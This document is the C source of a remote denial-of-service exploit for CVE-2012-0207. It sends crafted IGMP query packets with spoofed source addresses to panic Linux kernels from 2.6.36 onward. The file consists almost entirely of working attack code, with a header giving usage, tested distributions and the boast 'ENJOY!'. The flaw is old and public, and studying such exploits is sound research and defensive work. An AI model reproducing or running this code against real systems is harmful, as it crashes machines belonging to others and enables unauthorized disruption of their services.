Linux Kernel 2.6.36 IGMP - Remote Denial of Service

/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
**		  * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
  unsigned int options1;
  unsigned int options2;
};


struct igmp_query {
        unsigned char type;
        unsigned char maxresponse;
        unsigned short csum;
        unsigned int mcast;
        char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
  struct hostent *hst;
  long addr;


  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);


  memcpy(&addr, hst->h_addr, hst->h_length);


  return(addr);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmp_query *igmp;
  long daddr, saddr;
  int s, i=0, c, len, one=1;
  char buf[1500];


  if (argc < 3)
  {
    printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
	   "credits to Ben Hutchings\nwritten by Kingcope\n"
	   "Ripped & modified code written by Firestorm\n");
    printf("Usage: %s <src> <dst>\n", *argv);
    return(1);
  }


  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip->ihl = 7;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons(sizeof(struct iphdr)+8);
  ip->id = htons(18277);
  ip->frag_off=0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_IGMP;
  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
  ip->saddr = saddr;
  ip->daddr = daddr;
  ip->options1 = 0;
  ip->options2 = 0;
  igmp->type = 0x11;
  igmp->maxresponse = 0xff;
  igmp->mcast=inet_addr("224.0.0.1");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 8);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  close(s);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  ip->id = htons(18278);
  ip->tot_len = sizeof(struct iphdr)+12;
  igmp->type = 0x11;
  igmp->maxresponse = 0;
  igmp->mcast=inet_addr("0.0.0.0");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 12);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }


   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }


   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}